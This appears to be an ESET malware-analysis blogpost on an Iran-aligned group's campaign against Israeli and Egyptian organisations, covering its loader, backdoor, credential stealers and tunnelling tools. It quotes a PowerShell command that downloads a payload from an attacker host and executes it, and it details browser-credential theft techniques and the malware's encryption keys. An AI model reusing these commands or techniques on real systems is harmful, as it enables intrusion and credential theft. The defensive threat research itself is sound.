MuddyWater: Snakes by the riverbank

ESET researchers have identified new MuddyWater activity primarily targeting organizations in Israel, with one confirmed target in Egypt. MuddyWater, also referred to as Mango Sandstorm or TA450, is an Iran-aligned cyberespionage group known for its persistent targeting of government and critical infrastructure sectors, often leveraging custom malware and publicly available tools. In this campaign, the attackers deployed a set of previously undocumented, custom tools with the objective of improving defense evasion and persistence. Among these tools is a custom Fooder loader designed to execute MuddyViper, a C/C++ backdoor. Several versions of Fooder masquerade as the classic Snake game, and its internal logic includes a custom delay function inspired by the game’s mechanics, combined with frequent use of Sleep API calls. These features are intended to delay execution and hinder automated analysis. MuddyViper enables the attackers to collect system information, execute files and shell commands, transfer files, and exfiltrate Windows login credentials and browser data. The campaign also leverages credential stealers (CE‑Notes and LP‑Notes) and reverse tunneling tools (go‑socks5), long a favorite of MuddyWater operators.

Although this is our first public blogpost covering MuddyWater, ESET researchers have been tracking the group for several years and have documented its activities in multiple ESET APT Activity Reports. Unlike previous campaigns of MuddyWater, which were often noisy and easily detected, the one covered in this blogpost demonstrates a more focused, sophisticated, and refined approach.

Key points of this blogpost:

• MuddyWater developers adopted CNG, the next-generation Windows cryptographic API, which is unique for Iran-aligned groups and somewhat atypical across the broader threat landscape.
• The group also used more advanced techniques to deploy MuddyViper, a new backdoor, by using a loader (Fooder) that reflectively loads it into memory and executes it.
• We provide technical analyses of the tools used in this campaign, including MuddyViper, the Fooder loader, the CE-Notes browser-data stealer, the LP-Notes credential stealer, the Blub browser-data stealer, and go‑socks5 reverse tunnels.
• During this campaign, the operators deliberately avoided hands-on-keyboard interactive sessions, which is a historically noisy technique often characterized by mistyped commands.

MuddyWater group overview

MuddyWater is a cyberespionage group active since at least 2017, primarily targeting entities in the Middle East and North America. It is one of the most active Iran-aligned APT groups tracked by ESET researchers and has links to the Ministry of Intelligence and National Security of Iran.

The group was first introduced to the public as MuddyWater by Unit 42 in 2017, whose description of the group’s activity is consistent with ESET’s profiling – a focus on cyberespionage, the use of malicious documents as attachments designed to prompt users to enable macros and bypass security controls, and a primary targeting of entities located in the Middle East.

Notable past activities include Operation Quicksand (2020), a cyberespionage campaign targeting Israeli government entities and telecommunications organizations, which exemplifies the group’s evolution from basic phishing tactics to more advanced, multistage operations; and a campaign targeting political groups and organizations in Türkiye, demonstrating the group’s geopolitical focus, its ability to adapt social engineering tactics to local contexts, and reliance on modular malware and flexible C&C infrastructure.

Besides its frequent activity, MuddyWater operations are often noisy. The group is known for its persistent targeting of government, military, telecommunications, and critical infrastructure sectors, typically using custom malware and publicly available tools to gain access, maintain persistence, and exfiltrate sensitive data. In addition to targeting its archenemy, Israel, the group appears to be targeting countries that maintain, or seek to strengthen, diplomatic ties with Iran.

ESET has documented multiple campaigns attributed to MuddyWater that highlight the group’s evolving toolset and shifting operational focus. While the earlier operations relied on broad targeting and relatively unsophisticated techniques, more recent campaigns demonstrate signs of technical refinement and increased precision.

In March and April 2023, MuddyWater targeted an unidentified victim in Saudi Arabia by deploying a batch script that downloaded a PowerShell-based backdoor, which was used to download and execute arbitrary payloads and subsequently to remove the initial payload from disk.

The group conducted a campaign in January and February 2025 that was notable for its operational overlap with Lyceum (an OilRig subgroup), further detailed in this publication. This latest overlap suggests an evolution in MuddyWater’s modus operandi.

The group’s publicly documented custom tools include, for example, the Bugsleep, Blackout, Small Sieve, Mori, and POWERSTATS backdoors, as well as custom-compiled variants of open-source tools such as LaZagne or CrackMapExec. MuddyWater campaigns typically do not leverage or introduce new tools, malware, or techniques; instead, they are often noteworthy due to the targeting.

While MuddyWater initially concentrated strictly on cyberespionage, its cooperation with Lyceum led to targeting of the manufacturing sector through spearphishing. The attack generated considerable noise and achieved little in terms of operational objectives.

The campaign outlined in this publication shows what, for MuddyWater, seems to be an unprecedented advancement in toolset and technical execution.

Victimology

As previously mentioned, during this campaign, MuddyWater primarily targeted organizations in Israel, but also one in Egypt. Table 1 lists the victims by country and vertical. The campaign began on September 30^th, 2024 and concluded on March 18^th, 2025.

Table 1. Victims by country and vertical

One interesting thing to note about the victim in the utilities vertical is that they were also compromised by Lyceum on February 11^th, 2025.

Overlap and cooperation with Lyceum

In early 2025, ESET Research identified an operational overlap between MuddyWater and Lyceum, a subgroup of the Iran-aligned OilRig cyberespionage group, also known as HEXANE or Storm-0133. OilRig has been active since at least 2014 and is commonly believed to be based in Iran. Tools that we attribute to Lyceum include DanBot, Shark, Milan, Marlin, Solar, Mango, OilForceGTX, and a variety of downloaders that leverage legitimate cloud services for C&C communication. We have previously observed Lyceum targeting multiple Israeli organizations, including national and local governmental entities, as well as organizations in the healthcare sector.

During the campaign covered here, MuddyWater conducted a joint sub-campaign with OilRig in January and February 2025, MuddyWater initiated access through a spearphishing email containing a link to an installer for the Syncro remote monitoring and management (RMM) software. Following the initial compromise, the attackers installed an additional RMM tool, PDQ, and deployed a custom Mimikatz loader disguised as certificate files with .txt file extensions. Based on the observed activity, harvested credentials were probably used by Lyceum to gain access and assume control of operations within the targeted manufacturing-sector organization in Israel.

This cooperation suggests that MuddyWater may be acting as an initial access broker for other Iran-aligned groups.

Attribution

The victimology, TTPs, and tooling observed in this campaign align with several of the newly documented capabilities and tools that we have previously attributed to MuddyWater. This assessment is based on the initial access method and the subsequent delivery of malicious tools – generally via spearphishing emails that contain links to download RMM software.

TTPs

MuddyWater operators continue to rely on predictable and script-based backdoors written in PowerShell and Go. Their targeting remains focused on the telecommunications, governmental, and oil and energy sectors.

Initial access is typically achieved through spearphishing emails, often containing PDF attachments that link to installers for RMM software hosted on free file-sharing platforms such as OneHub, Egnyte, or Mega. These links lead to the download of RMM tools including Atera, Level, PDQ, and SimpleHelp.

Among the tools deployed by MuddyWater operators is also the VAX‑One backdoor, named after the legitimate software which it impersonates: Veeam, AnyDesk, Xerox, and the OneDrive updater service.

The group’s continued reliance on this familiar playbook makes its activity relatively easy to detect and block.

Tools overlap

Additionally, we identified code overlaps between several of the newly documented tools and those we previously attributed to MuddyWater:

• LP-Notes, a new credential stealer, has the same design as CE-Notes, a browser-data stealer, that we previously associated with MuddyWater. During this campaign, we also observed a Mimikatz loader, which shares the same design and obfuscation methods as CE-Notes.
• We observed several new variants of MuddyWater’s customized go‑socks5 reverse tunnels, which the group used throughout 2024 and 2025.
• In two instances, we observed the customized go‑socks5 reverse tunnels embedded in a new MuddyWater loader, internally named Fooder. In a dozen other cases, this loader was used to load MuddyWater’s new backdoor, MuddyViper.
• Interestingly, MuddyViper and the CE-Notes/LP-Notes/Mimikatz loader variants use the CNG API for data encryption and decryption. To the best of our knowledge, this is unique to Iran-aligned groups. Another trait these tools share is that they attempt to steal user credentials by opening a fake Windows Security dialog.

Toolset

In this blogpost, we document previously unknown, custom tools used by MuddyWater:

• Fooder loader – a newly identified loader that loads the MuddyViper backdoor into memory and executes it. Note that several versions of Fooder masquerade as the classic Snake game, hence the designation, MuddyViper. Another notable characteristic of Fooder is its frequent use of a custom delay function that implements the core logic of the Snake game, combined with Sleep API calls. These features are intended to delay execution in an attempt to hide malicious behavior from automated analysis systems.
• MuddyViper backdoor – a previously undocumented C/C++ backdoor that enables attackers to collect system information, download and upload files, execute files and shell commands, and steal Windows credentials and browser data.

The rest of the toolset documented in this blogpost includes:

• CE-Notes, a browser-data stealer,
• LP-Notes, a credential stealer,
• Blub, a browser-data stealer, and
• several go‑socks5 reverse tunnels.

Fooder loader

Fooder is a 64-bit C/C++ loader designed to decrypt and then reflectively load the embedded payload (as illustrated in Figure 1), with MuddyViper being the most frequently observed payload.

Fooder seems to be the internal name of this tool, based on its PDB paths:

• C:\Users\win\Desktop\Fooder\Debug\Launcher.pdb
• C:\Users\pc\Desktop\main\My_Project\Fooder\x64\Debug\Launcher.pdb

Although we have only captured one sample of it, we believe that Fooder is executed by a simple launcher application, written in C. It has no string obfuscation and verbose logging to the console, and the PDB path left intact:

C:\Users\pc\source\repos\ConsoleApplication7\x64\Release\ConsoleApplication7.pdb

We have observed one instance (SHA-1: 76632910CF67697BF5D7285FAE38BFCF438EC082) of the component launching Fooder. Deployed under the name %USERPROFILE%\Downloads\OsUpdater.exe, the launcher expects a process ID as a command line argument. Once executed, it attempts to duplicate the token of the specified process via the DuplicateTokenEx API, and then uses CreateProcessAsUserA to execute Fooder.

Once executed, Fooder decrypts the embedded payload following these steps:

• The command line argument (6) is added to each byte of a hardcoded key, which produces the AES decryption key, shared across all samples, 6969697820511281801712341067111416133321394945138510872296106446.
• A hardcoded value (5) is subtracted from each byte of the hardcoded payload.
• Finally, the hardcoded payload is decrypted using the WinCrypt API and the AES key.

Fooder then loads the payload directly into memory using reflective techniques, allowing it to execute without relying on standard system calls or writing to disk.

Once launched thus, Fooder has been used to deliver not only MuddyViper but also HackBrowserData, an open-source utility capable of decrypting and exporting sensitive browser information such as credentials and cookies. Fooder also facilitates the deployment of go‑socks5 variants, which are Go-compiled binaries that function as reverse tunnels, enabling attackers to bypass firewalls and Network Address Translation (NAT) mechanisms. Notably, the MuddyWater group has previously utilized go‑socks5 independently of Fooder, indicating a continued reliance on this tool for stealthy network communication and data exfiltration.

Note that several versions of Fooder masquerade as the Snake game – see the strings and mutexes highlighted in Figure 2 – its most frequently embedded payload.

Another notable characteristic of Fooder is its frequent use of a custom delay function (which implements the core logic of the Snake game, where the player maneuvers the end of a growing line, often themed as a snake, to avoid obstacles and collect items) and the Sleep API calls. The delay in execution is achieved by mimicking the loop-based delay function: as in the Snake game, where each movement is controlled by a loop that waits for a short period before updating the game. The loop introduces execution delays that slow down the malware’s behavior, helping it to evade tools that monitor for rapid malicious activity. Figure 3 highlights the delays and the Snake game welcome banner presented to the user at runtime.

Fooder does not have any built-in persistence capability. However, in cases when Fooder’s final payload is the MuddyViper backdoor, the backdoor can set up persistence for the loader via a scheduled task or the Startup folder.

MuddyViper backdoor

MuddyViper, a previously undocumented backdoor written in C and C++, enables gaining covert access and control over compromised systems. We have observed MuddyViper only in memory, loaded by Fooder, which might be the reason there is no obfuscation or string encryption. As is typical for MuddyWater, MuddyViper sends extremely verbose and frequent status messages to its C&C server throughout its execution, such as the following:

• [+] Persist: ——————– Hi,I am Live ——————–
• [+] Persist: ——————– Hi,First Time ——————–
• [-] Persist: failed Create task !!!!

The backdoor also keeps a lengthy list of 150+ process names and details about the respective products to be able to send detailed reports about the security tools detected in the compromised environment, even though adding the details could have been easily implemented on the server side:

• [>] Process: aciseagent.exe ~~> (Cisco Umbrella Roaming Security) –> (Security DNS) found!
• [>] Process: acnamagent.exe ~~> (Absolute Persistence) –> (Asset Management) found!
• [>] Process: acnamlogonagent.exe ~~> (Absolute Persistence) –> (Asset Management) found!

This behavior results in substantial network traffic.

MuddyViper has two methods of establishing persistence:

• A scheduled task named ManageOnDriveUpdater can launch MuddyViper from the path on each system start.

MuddyViper supports 20 backdoor commands – see Table 2 for details of all of them – notably including the ability to open and operate reverse shells, download, upload, and execute files, report the running security tools, steal user credentials and data from a variety of browsers, set up its own persistence, and uninstalling itself.

Table 2. MuddyViper backdoor commands

One of the commands listed in Table 2, with ID 805, displays a fake Windows Security dialog in an attempt to entice the victim into filling in their Windows credentials, as seen in Figure 4. A similar technique is used by MuddyWater’s LP-Notes stealer (see LP-Notes credential stealer).

Another command, with ID 900, aims to remove MuddyViper from the compromised machine and clear its persistence; however, the command does not remove all traces of the backdoor.

Network protocol

To communicate with its C&C server, MuddyViper uses HTTP GET requests (via the WinHTTP API) over port 443, with the WINHTTP_FLAG_SECURE flag configured to use SSL/TLS. Two C&C servers have been observed: processplanet[.]org and 35.175.224[.]64.

Both directions of communication AES-CBC encrypt the data, using the CNG API with the key (used across samples) 0608101047106453101617106423101013101012101083109710108585106969 and the IV 0.

In the backdoor → server direction of the communications:

• Each endpoint URI supported by the C&C server can be used by the backdoor for a specific type of request, such as requesting a command, uploading a file, or sending a custom status message.
• Additional data for the C&C server is included in the HTTP request body, which is unconventional for HTTP GET requests.
• The User-Agent string is A WinHTTP Example Program/1.0, a remnant of the example code for the WinHttpOpen API.
• The connection, send, receive, and response timeouts are set to 30 seconds.
• Default sleep time between consecutive connection attempts is 60 seconds. This value can be configured by command ID 700.
• Upon failure, connection attempts are retried up to 10 times.
• Prior to encryption, the data is always formatted as /*.

In the server → backdoor direction of the communications:

• The HTTP status code determines the backdoor command ID.
• The backdoor command arguments are included in the HTTP response body.

CE-Notes browser-data stealer

CE-Notes is a browser-data stealer that we named after the filename – ce-notes.txt – used to stage stolen data on disk. We discovered CE-Notes in 2024 when we observed MuddyWater deploying EXE and DLL versions of it on the system of an organization in Israel.

CE-Notes was downloaded with the following PowerShell command:

“C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe” (Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri http://206.71.149[.]51:443/57576?filter_relational_operator_2=60169).content | Invoke-Expression

Both versions of the browser-data stealer attempt to steal and decrypt the app-bound encryption key stored in the Local State file (%APPDATA%\Local\Google\Chrome\User Data\Local State) of Chromium browsers (Chrome, Brave, and Edge). App-bound encryption was introduced in Chrome version 127, enabling Chrome to encrypt data tied to app identity. Cybercriminals and APT groups have caught on and are actively trying to work around app-bound encryption to steal session keys. CE-Notes is quite similar to ChromElevator on GitHub.

The collected data is AES-CBC encrypted using the CNG API with the key 9262A37DF166AC1D5F582AAC79F54CCB47623BFD9BA001228D284AE13A08F52F and the IV 4103A09887B82FFD56A93BB431805224.

Then the encrypted data is stored on disk in C:\Users\Public\Downloads\ce-notes.txt for later retrieval (probably via an RMM tool, since neither the EXE nor the DLL versions have any means of exfiltrating the file). The primary difference between the EXE and the DLL is the virtual machine evasion functionality added to the DLL.

We observed the CE-Notes browser-data stealer in the following locations:

• C:\system2.dll
• C:\Users\Public\Downloads\system2.dll
• C:\Intel\system.dll
• C:\20240926_165509.exe

LP-Notes credential stealer

LP-Notes is a C/C++ Windows credential stealer with the same design as the CE-Notes browser-data stealer. Following the same naming convention as in the case of CE-Notes, we named the stealer LP-Notes based on the local file it uses to stage stolen credentials before exfiltration: C:\Users\Public\Downloads\lp-notes.txt (vs. C:\Users\Public\Downloads\ce-notes.txt). The sole purpose of LP-Notes is to entice victims into submitting their credentials by displaying a fake Windows Security dialog, prompting them to enter their Windows username and password. We have observed an instance of LP-Notes being downloaded and executed by PowerShell with a very similar command line to that shown in the CE-Notes section.

Initialization

On execution, LP-Notes starts by searching for a process named taskhostw.exe (Host Process for Windows Tasks) and then impersonating the security context of the process (via the ImpersonateLoggedOnUser API); only then does LP-Notes activate its malicious payload.

LP-Notes employs several simple obfuscation techniques, including a custom, addition-based routine for string decryption. Figure 5 shows the function that decrypts strings of lengths ranging from 15 to 19 characters, though the decryption key is always the same – a set of predefined constants that are added or subtracted from each byte of the string. Interestingly, CE-Notes uses the same decryption routine, except for a different decryption key, as shown in Figure 6.

LP-Notes uses string stacking for strings shorter than 15 or longer than 19 characters, including the decryption key, IV, and import names. Finally, to obscure the use of Windows API functions and to make static analysis more challenging, LP-Notes dynamically resolves the API functions during the C runtime startup, before the execution of the WinMain function, the standard entry point for a graphical Windows-based application per Microsoft, thus hiding direct references to the API functions from pseudocode view (see Figure 7).

Capabilities

In an endless loop, LP-Notes displays a fake Windows Security dialog prompting the victim to enter their Windows username and password, as shown in Figure 8 (via the CredUIPromptForWindowsCredentialsW API). Note that although similar, this is not the same as the fake credential prompt used by MuddyViper (see Figure 4). It immediately confirms the validity of any submitted credentials by attempting to log on as that user (via the CredUnPackAuthenticationBufferW and LogonUserW APIs).

If successful, the harvested credentials are then AES-CBC encrypted using the CNG API with the key ED15C8344B45DAED1E0578F8BC1A32411812C61F4CB45D89B107287DE0E09FFC and the IV 91A4E6F6D51DAEE773A8F00279792578.

Similar to CE-Notes, LP-Notes then stores the encrypted credentials in a local file – in this case C:\Users\Public\Downloads\lp-notes.txt. As neither of these components have the capability to exfiltrate data, another component presumably handles this (either an RMM tool or MuddyViper).

Blub browser-data stealer

Blub is a C/C++ browser-data stealer incorporating a statically linked SQLite library. The name is derived from its filename, Blub.exe. We observed the PDB path C:\Users\jojo\source\repos\stealer\x64\Release\stealer.pdb. It steals user login data from Google Chrome, Microsoft Edge, Mozilla Firefox, and Opera web browsers.

Chromium-based browsers

For Chrome, Blub first terminates chrome.exe (if running) and then parses and decrypts the encryption key from C:\Users\\AppData\Local\Google\Chrome\User Data\Local State. This key is used to encrypt sensitive data stored by Chrome, such as passwords or cookies, and it is protected by the Data Protection API (DPAPI) so that it can only be decrypted on the system where it was originally encrypted. Blub decrypts this key via the CryptUnprotectData API, and then uses it to decrypt user credentials obtained from all existing Chrome user profiles on the compromised computer. The credentials, stored in C:\Users\\AppData\Local\Google\Chrome\User Data\\Login Data, are obtained via the following SQL query:

SELECT origin_url, username_value, password_value FROM logins

A similar series of steps is used to obtain and decrypt user credentials from Microsoft Edge and Opera user profiles, using the key obtained from C:\Users\\AppData\Local\Microsoft\Edge\User Data\Local State and C:\Users\\AppData\Roaming\Opera Software\Opera Stable\Local State, respectively.

Firefox

Finally, to decrypt stored user credentials for Mozilla Firefox, Blub parses the hostname, encryptedUsername, and encryptedPassword values from the logins.json file in each user’s profile directory, i.e., %APPDATAROAMING%\Mozilla\Firefox\Profiles\\. The credentials are then decrypted using the PK11SDR_Decrypt function from the nss3.dll library used by Firefox.

The collected data is stored into a local file named file.txt, with no encryption. The same data is logged onto the console, with no encryption, along with verbose status messages. Blub has no capability to exfiltrate this file.

Note that Blub checks for running processes associated with security solutions before executing its malicious payload, focusing on the combination of afwServ.exe (Avast firewall) and AvastSvc.exe (Avast antivirus) processes. If afwServ.exe is detected running (but not AvastSvc.exe), Blub concludes that Norton is running (which now uses the Avast engine) on the compromised host, and exits. If AvastSvc.exe (Avast) is detected, Blub continues with the execution, except it skips stealing credentials from Microsoft Edge.

While Blub’s strings are stored in cleartext, a simple obfuscation technique is used for strings associated with the Google Chrome data stealer functionality. Specifically, multiple strings are concatenated into one long string, with 16 random characters between them, apparently to hide them from view during static analysis:

gdGlog}o{eRwjpw&”encrypted_key”:FAe[{hy|b-vcJvxGImpersonateLoggeh}gdOvlgt_NxuoolOpenProcessTokenVLUKKW’xxqjpwe}uDuplicateTokenExs5&}vl{tiplh|io|eIpuvvkdXznx(Gh}n2(sh|y⌂ryme~ds~

Removing the junk characters and splitting the strings returns:

• “encrypted_key”:
• ImpersonateLogge
• OpenProcessToken
• DuplicateTokenEx

go‑socks5 reverse tunnels

MuddyWater’s go‑socks5 reverse tunnels are a collection of Go-compiled tools, based on publicly available libraries such as go‑socks5, yamux, and resocks; they have been frequently used in MuddyWater’s recent campaigns.

Most of the variants we analyzed appear to be internally named ESETGO (no relation to ESET), based on the build configuration strings shown in Figure 9 and in other artifacts.

path  ESETGO
mod   ESETGO	(devel)
dep   github.com/armon/go-socks5	v0.0.0-20160902184237-e75332964ef5h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio=
dep	  github.com/hashicorp/yamux	v0.1.1	h1:yrQxtgseBDrq9Y652vSRDvsKCJKOUD+GzTS4Y0Y8pvE=
dep	  golang.org/x/net	v0.29.0	h1:5ORfpBpCs4HzDYoodCDBbwHzdR5UrLBZ3sOnUJmFoHo=
dep	  golang.org/x/sys	v0.25.0	h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34=
build -buildmode=exe
build -compiler=gc
build -ldflags="-w -s"
build CGO_ENABLED=1
build CGO_CFLAGS=
build CGO_CPPFLAGS=
build CGO_CXXFLAGS=
build CGO_LDFLAGS=
build GOARCH=amd64
build GOOS=windows
build GOAMD64=v1

Figure 9. Build configuration strings from MuddyWater’s go‑socks5 variants

The primary purpose of MuddyWater’s go‑socks5 proxy is to relay communication between the compromised machine (on a specific port) and a hardcoded C&C server, using a hardcoded connection key to authenticate with the C&C server via SSL/TLS. This setup allows the attacker to route C&C traffic (potentially related to other compromises) through the compromised machine and thus to hide the location of the real C&C server.

Conclusion

This campaign indicates an evolution in the operational maturity of MuddyWater. The deployment of previously undocumented components – such as the Fooder loader and MuddyViper backdoor – signals an effort to enhance stealth, persistence, and credential harvesting capabilities. The use of game-inspired evasion techniques, reverse tunneling, and a diversified toolset reflects a more refined approach than in earlier campaigns, even though traces of the group’s operational immaturity remain.

MuddyWater continues to demonstrate the ability to execute campaigns ranging from average to above average, i.e., being timely, effective, and increasingly challenging to defend against. While we assess that MuddyWater will remain a leading actor in Iranian-nexus activity, we anticipate a continued pattern of typical campaigns enhanced by more advanced TTPs.

ESET will continue to monitor the group’s activities, focusing on further signs of technical advancement and strategic targeting of government, military, telecommunications, and critical infrastructure.

For any inquiries about our research published on WeLiveSecurity, please contact us at threatintel@eset.com. 

ESET Research offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET Threat Intelligence page.

IoCs

Files

Network

MITRE ATT&CK techniques

This table was built using version 17 of the MITRE ATT&CK framework.